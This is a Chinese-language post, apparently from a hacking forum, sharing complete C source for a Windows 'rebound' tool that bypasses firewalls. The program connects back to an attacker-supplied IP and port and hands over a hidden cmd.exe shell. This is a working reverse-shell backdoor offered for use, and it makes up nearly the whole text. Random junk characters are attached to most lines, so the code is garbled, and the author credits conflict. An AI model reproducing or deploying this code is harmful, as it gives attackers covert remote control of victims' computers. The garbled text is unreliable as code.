这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bGwOhd<.
{_!,T%>+1
/* ============================== C[fefV9g2
Rebound port in Windows NT r],%:imGr
By wind,2006/7 COsy.$|4
===============================*/ &yP|t":HWX
#include $%$zZJ@/
#include ;39b.v\^
Hya.OW{
#pragma comment(lib,"wsock32.lib") |fyzb=Lg
)@9Eq|jMC
void OutputShell(); " O
r1 fC
SOCKET sClient; h1?xfdvGd
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8Dl(zY K;
1BmKwux:
void main(int argc,char **argv) f:46.)Wj<
{ [4xZy5V
WSADATA stWsaData; "'t f]s
int nRet; ,|z@Dy
SOCKADDR_IN stSaiClient,stSaiServer; 7(D)U)9h
Pek[j)g}
if(argc != 3) PCwc=
{ N( 7(~D=)B
printf("Useage:\n\rRebound DestIP DestPort\n"); 5$!idfDr|m
return; +UWv }|
} 'C}ku>B_r
-'O|D}
WSAStartup(MAKEWORD(2,2),&stWsaData); \A^8KVE!
(Zx--2lc
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q~#>MB}".
_N:$|O#
stSaiClient.sin_family = AF_INET; '+Jy//5?
stSaiClient.sin_port = htons(0); 0,-]O=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,~,q0PA7J
T-yEn&r4)
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ae=JG8Ht~
{ hlreeXv
printf("Bind Socket Failed!\n"); )n"0:"Ou
return; 2u-J+
} .h4NG4FIF
,){#J"W
stSaiServer.sin_family = AF_INET; @H$8;CRM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /":/DwI'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _'mC*7+
[(a3ljbRX
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FO>!T@0G
{ =}tomN(F~[
printf("Connect Error!"); (`slC~"
return; =RXeN+
&R
} 6|'7Mr~\
OutputShell(); ;o)'dK
} s]e`q4ip
8pf]M&
void OutputShell() gFuK/]gzI
{ QxPPgn7'
char szBuff[1024]; VOC$Kqg;
SECURITY_ATTRIBUTES stSecurityAttributes; @C^x&Sjm
OSVERSIONINFO stOsversionInfo; e}-fGtFx
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 66-\}8f8a
STARTUPINFO stStartupInfo; y$nI?:d
char *szShell; O13]H"O_
PROCESS_INFORMATION stProcessInformation; {/)i}V#RE
unsigned long lBytesRead; vN
v'%;L
H!0m8LCnb
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z&?4<-@6\p
l
z"o( %D
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %CYo,
e
stSecurityAttributes.lpSecurityDescriptor = 0; %}H
2
stSecurityAttributes.bInheritHandle = TRUE; 6:S,
{@G
MCTJ^ g"D
I9L3Y@(f6m
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (e5Z^9X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^w%%$9=:r
b3_P??yp
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3n)Kzexh
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8mmnnf{P
stStartupInfo.wShowWindow = SW_HIDE; 4".I*ij
stStartupInfo.hStdInput = hReadPipe; r[^.\&-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ._>03, "
u0<yGsEGD
GetVersionEx(&stOsversionInfo); 9W(&g)`
\>*.+?97
switch(stOsversionInfo.dwPlatformId) |J`v
w
{ VJw7defc
case 1: &n8Ja@Y]
szShell = "command.com"; Fab]'#1q4
break; rSt5@f?
default: 'hWA&Xx+
szShell = "cmd.exe"; ` ;mQ"lO
break; #hn
} R+ \%
d0}(d Gl
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bh5P98s
Wtw,YFT
send(sClient,szMsg,77,0); 6wu`;>
while(1) >`&2]Wc)
{ )N~ p4kp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j7:r8? G
if(lBytesRead) \z2y?"\?
{ I+twI&GS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LHx ")H?,
send(sClient,szBuff,lBytesRead,0); 2!}F+^8'P
} 3
eF c
else @=AQr4&
{ Vb#a ,t
lBytesRead=recv(sClient,szBuff,1024,0); At<MY`ka
if(lBytesRead<=0) break; 'OTZ&;7{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cy(w*5Upu
} 9XQE5^
} W+u,[_
6&'kN2
return; wXp:XZ:]T
}